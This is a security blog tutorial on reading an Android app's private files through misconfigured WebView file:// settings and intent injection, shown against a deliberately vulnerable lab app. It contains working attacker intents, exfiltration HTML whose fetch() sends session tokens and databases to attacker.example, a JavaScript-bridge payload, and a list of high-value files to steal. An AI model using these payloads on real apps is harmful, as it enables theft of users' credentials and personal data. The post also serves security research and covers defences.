Home Android - Reading Private Files via WebView file://
Post
Cancel

Android - Reading Private Files via WebView file://

Android WebView’s file:// scheme is a feature from a time when hybrid apps needed to load bundled HTML from assets/. It is still on by default. Combined with an intent injection that controls the WebView’s URL, it gives you arbitrary file read inside the target app’s private data directory, without root, without ADB, from any third-party app installed on the same device.

The detail that matters is which of the three WebSettings flags are on. Each one gives you a different read primitive.


The three WebView flags that matter

Three booleans on WebSettings control file-scheme behaviour. VulnLabApp turns all three on in WebViewActivity.onCreate:

1
2
3
4
5
WebSettings settings = webView.getSettings();
settings.setJavaScriptEnabled(true);
settings.setAllowFileAccess(true);
settings.setAllowFileAccessFromFileURLs(true);
settings.setAllowUniversalAccessFromFileURLs(true);

What each one gives the attacker:

setAllowFileAccess(true), the WebView can load file:// URLs at all. If on, you can render any world-readable file on disk inside the WebView, or any file owned by the target app since the WebView itself runs as the target app. You see the content as rendered HTML/text.

setAllowFileAccessFromFileURLs(true), a page loaded from file:// can make XHR / fetch requests to other file:// URLs. Read one file via the WebView load, exfiltrate data via JavaScript in that page.

setAllowUniversalAccessFromFileURLs(true), a page loaded from file:// can make XHR / fetch requests to any origin. This is the one that lets your file://-loaded HTML POST stolen file contents to your https://attacker.example/ endpoint without CORS getting in the way.

The combination you want as an attacker is all three on.


Spotting it in a decompile

Search for any of the three method names. Most apps have a WebViewActivity or BrowserActivity that sets these. The VulnLabApp activity reads the URL from an Intent extra and loads it without scheme validation:

1
2
3
4
5
6
Intent intent = getIntent();
if (intent.hasExtra("url")) {
    webView.loadUrl(intent.getStringExtra("url"));
} else {
    webView.loadUrl(urlWithFragment);
}

Older Android (pre-API 30) defaulted setAllowFileAccess to true, so the absence of setAllowFileAccess(false) is itself a signal. From API 30 onwards the default is false, but a lot of legacy code still explicitly enables it.

For runtime confirmation, hook WebView.loadUrl and read the flags off the live settings object at navigation time:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Java.perform(function () {
  const WebView = Java.use('android.webkit.WebView');

  function dump(s, url) {
    console.log('[WebView.loadUrl] ' + url);
    console.log('  javaScriptEnabled                = ' + s.getJavaScriptEnabled());
    console.log('  allowFileAccess                  = ' + s.getAllowFileAccess());
    console.log('  allowFileAccessFromFileURLs      = ' + s.getAllowFileAccessFromFileURLs());
    console.log('  allowUniversalAccessFromFileURLs = ' + s.getAllowUniversalAccessFromFileURLs());
    console.log('  allowContentAccess               = ' + s.getAllowContentAccess());
  }

  WebView.loadUrl.overload('java.lang.String').implementation = function (url) {
    dump(this.getSettings(), url);
    return this.loadUrl(url);
  };
  WebView.loadUrl.overload('java.lang.String', 'java.util.Map').implementation = function (url, headers) {
    dump(this.getSettings(), url);
    return this.loadUrl(url, headers);
  };
});

Frida WebView.loadUrl hook printing all five file-access flags as true on VulnLabApp

The hook fires on the dashboard navigation and confirms all five flags are on allowFileAccess, allowFileAccessFromFileURLs, and allowUniversalAccessFromFileURLs are exactly the combination an attacker wants.


Read primitive #1, direct file render

Only setAllowFileAccess(true) needed. Fire the vulnerable activity with the file URL as the extra. Against VulnLabApp:

1
2
adb shell am start -n com.vulnlab.app/.activities.WebViewActivity \
  --es url "file:///data/data/com.vulnlab.app/shared_prefs/auth_prefs.xml"

WebView rendering the target's auth_prefs.xml with session_token, user_email, user_password and api_key after the am start file:// injection

The WebView renders auth_prefs.xml straight onto the screen — session_token, user_email, user_password, and api_key are all visible, because the WebView reads the file as the target app’s own UID.

Or from an attacker app:

1
2
3
4
5
Intent intent = new Intent();
intent.setClassName("com.vulnlab.app", "com.vulnlab.app.activities.WebViewActivity");
intent.putExtra("url", "file:///data/data/com.vulnlab.app/shared_prefs/auth_prefs.xml");
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(intent);

Attacker app MainActivity firing the file:// intent, with the target WebView showing the parsed auth_prefs.xml map

Same result driven from a separate attacker APK: no ADB needed, any installed app can fire the intent and force the target’s WebView to render its private file.

The WebView renders auth.xml as text or HTML, depending on what the content actually is. Visible on the device screen. If you have ADB and screencap, you can pull a screenshot. Limited but real.

The bounty value of this alone is moderate, you proved private file disclosure, but the exfiltration story is awkward (a third-party app cannot directly read what is rendered in the target’s WebView).


Read primitive #2, XHR exfiltration via attacker file:// HTML and why it is now mostly historical

The classic primitive needs setAllowFileAccess(true) + setAllowFileAccessFromFileURLs(true). You drop an HTML file somewhere the target’s WebView can read it, load it via file://, and let its JavaScript fetch('file://...') the target’s private files and POST them out:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// Attacker app — onCreate.
String exfilHtml =
    "<!doctype html><html><body><script>" +
    "const files = [" +
    "  '/data/data/com.vulnlab.app/shared_prefs/auth_prefs.xml'," +
    "  '/data/data/com.vulnlab.app/databases/vulnlab.db'," +
    "  '/data/data/com.vulnlab.app/files/session.json'," +
    "];" +
    "files.forEach(f => {" +
    "  fetch('file://' + f).then(r => r.text()).then(t =>" +
    "    fetch('https://attacker.example/?p=' + encodeURIComponent(f) + " +
    "          '&d=' + encodeURIComponent(t))" +
    "  ).catch(_ => {});" +
    "});" +
    "</script></body></html>";

File f = new File(getFilesDir(), "exfil.html");
try (FileOutputStream fos = new FileOutputStream(f)) {
    fos.write(exfilHtml.getBytes());
}
f.setReadable(true, false);   // world-readable file …

Intent intent = new Intent();
intent.setClassName("com.vulnlab.app", "com.vulnlab.app.activities.WebViewActivity");
intent.putExtra("url", "file://" + f.getAbsolutePath());
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(intent);

This no longer works cross-app on Android 7+ (API 24+). The WebView runs as the target app’s UID, so it has to be able to read the HTML you hosted — and on a modern device there is no file:// location both apps share:

  • Your attacker files/ dir. Since API 24 every app home (/data/data/<pkg>) is 0700. A different UID cannot even traverse into it, so setReadable(true, false) on the file is irrelevant — the parent directory blocks it. The target’s WebView gets net::ERR_FILE_NOT_FOUND.
  • /sdcard (shared storage). The target app would need READ_EXTERNAL_STORAGE, which a WebView/browser activity almost never holds, and scoped storage (API 29+) blocks raw /sdcard path reads anyway. You get net::ERR_ACCESS_DENIED.

So ERR_FILE_NOT_FOUND / ERR_ACCESS_DENIED when loading your attacker HTML is not a typo in the path — it is the OS refusing the cross-UID read. The technique only reproduces end-to-end when the target app has a low targetSdkVersion with legacy external storage and holds the storage permission, or on pre-API-24 devices.

WebView showing net::ERR_ACCESS_DENIED when loading attacker exfil.html fromsdcard, because the target app cannot read external storage

Hosting exfil.html on /sdcard and pointing the WebView at it returns net::ERR_ACCESS_DENIED the file exists, but the target app’s UID has no right to read shared storage. The attacker-file:// exfil path is a dead end on a modern device.

setAllowUniversalAccessFromFileURLs is what would let the file://-origin page POST to https://attacker.example/ (without it the cross-origin fetch fails), but that only matters once you have actually loaded a file:// page you control, which is the part that breaks above.

There is still one fully-working read here on any modern device: the target’s own files. Loading file:///data/data/com.vulnlab.app/shared_prefs/auth_prefs.xml renders fine, because the WebView reads its own sandbox, that is primitive #1, and it is enough to prove disclosure.


Read primitive #3, modern exfiltration via the JavaScript bridge

Because the cross-app file:// channel is dead on current Android, the reliable way to turn “the WebView reads the target’s files” into actual exfiltration is the @JavascriptInterface bridge and addJavascriptInterface injects that bridge into every page the WebView loads, regardless of origin. VulnLabApp attaches NativeBridge as Android with a readFile(path) method, so you host the payload on your own server (no shared file needed) and inject a plain https:// URL:

1
intent.putExtra("url", "https://attacker.example/exfil.html");
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!doctype html><html><body><script>
const files = [
  '/data/data/com.vulnlab.app/shared_prefs/auth_prefs.xml',
  '/data/data/com.vulnlab.app/databases/vulnlab.db',
  '/data/data/com.vulnlab.app/files/session.json',
];
files.forEach(f => {
  try {
    const data = Android.readFile(f);          // runs in the target's process, as its UID
    fetch('https://attacker.example/?p=' + encodeURIComponent(f) +
          '&d=' + encodeURIComponent(data));
  } catch (e) {
    fetch('https://attacker.example/?err=' + encodeURIComponent(e));
  }
});
</script></body></html>

The page’s origin is your https:// domain, but the bridge object is injected anyway, and Android.readFile executes in the target process with the target’s filesystem permissions. No file:// hosting, no shared storage, no scoped-storage problems. (content:// from a FileProvider can get HTML into the WebView, but a content://-loaded page has an opaque origin, so the file-URL access flags do not apply and the XHR exfil will not run, the bridge is the clean path.) The full bridge-RCE surface is covered in the Android JavaScript Bridge RCE post; here it is just the exfiltration tail of the file-read chain.

Burp Collaborator receiving the exfiltrated auth_prefs.xml contents from the Android.readFile bridge call on Android 13

The remotely-hosted payload calls Android.readFile and ships the file out to Burp Collaborator, full disclosure with a clean exfil channel, no on-device artefacts.

One implementation gotcha. The impact of the bridge is bounded by what the exposed method actually does on the running OS. VulnLabApp’s readFile reads with InputStream.readAllBytes(), which only exists on API 33 (Android 13)+; on an older device the call throws NoSuchMethodError, which the WebView surfaces to JS only as the generic Java exception was raised during method invocation. The screenshot above is Android 13, so readFile returns the bytes. On Android 11/12 the same call fails, and you fall back to whatever other method the bridge exposes (here, Android.exec('cat …') reads the same file fine on every API). The lesson generalises: enumerate the real methods, and when one throws, the cause is hidden read it with a Frida hook or logcat, don’t assume the bug isn’t there.


The high-value targets inside the target app’s data dir

Walk this list with each app you find with this primitive:

  • shared_prefs/auth_prefs.xml, VulnLabApp persists the session token here. In real apps, the same path holds OAuth refresh tokens, user email, device identifiers, feature flags. Trivial to parse.
  • databases/, Room / SQLite. If unencrypted, contains user PII, message history, transaction history. If encrypted (SQLCipher), the key is usually stored in shared_prefs/ or the AndroidKeystore. The XML you just read may contain the key.
  • files/, anything the app cached. JWT tokens, downloaded user content, biometric prompt nonces.
  • cache/, sometimes contains in-progress uploads, sometimes contains the last-loaded URL before app crash (good for OAuth state recovery).

The getFilesDir() and getCacheDir() return paths under /data/data/<pkg>/, so they are all reachable from the file primitive.


The setAllowContentAccess sidekick

A fourth flag: setAllowContentAccess(true) (default true). Lets the WebView load content:// URIs. If an attacker app exposes a ContentProvider, the WebView can read from it. Useful when chaining your attacker app’s data into the target app’s WebView for further escalation. Less commonly the bug source, but worth noting.


The defence and why it usually fails

The correct defence is setAllowFileAccess(false) and setAllowFileAccessFromFileURLs(false) and setAllowUniversalAccessFromFileURLs(false). The developer often turns the first one off but leaves the other two as-is because they cargo-culted a snippet from Stack Overflow that said “set these to true to make my OAuth callback work in the in-app browser.”

Less commonly: developers add a WebViewClient.shouldOverrideUrlLoading override that returns true for any URL starting with file://. Worth checking, but it is bypassable through redirect chains (load https://... that redirects to file://..., the override is only called on the initial navigation in some WebView versions).


Closing

WebView file:// read is a chain that pairs naturally with intent injection. Every time you have intent-controlled URL flow into a WebView, check those three flags. If two or three of them are on, the bug is no longer “redirect users to your site”, it is “read the target app’s private storage from any installed app”. The bounty triage on that lands at high. With encrypted-DB key extraction and full session reconstruction, critical.

Happy Hacking !!

This post is licensed under CC BY 4.0 by the author.